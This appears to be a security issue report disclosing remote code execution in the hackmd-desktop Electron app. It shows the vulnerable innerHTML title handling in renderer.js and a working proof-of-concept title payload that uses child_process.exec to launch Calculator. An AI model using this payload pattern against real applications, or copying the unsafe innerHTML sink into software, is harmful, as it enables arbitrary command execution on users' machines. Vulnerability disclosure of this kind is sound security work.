hackmd-desktop remote code execution #18
Description
Hi, I find a RCE in hackmd-desktop when viewing a evil note.
In renderer.js
webview.addEventListener('dom-ready', function () {
// set webview title
document.querySelector('#navbar-container .title').innerHTML = webview.getTitle()
document.querySelector('title').innerHTML = webview.getTitle()
})It will render the title of the webview in a privileged context.
If we use tag or a XSS(hackmdio/codimd#1233) to redirect to a evil page with a payload in title like this.
<head>
<title><img src=1 onerror="process.mainModule.require('child_process').exec('open /Applications/Calculator.app')"></title>
</head>It will execute the command in the payload and a calculator will pop up.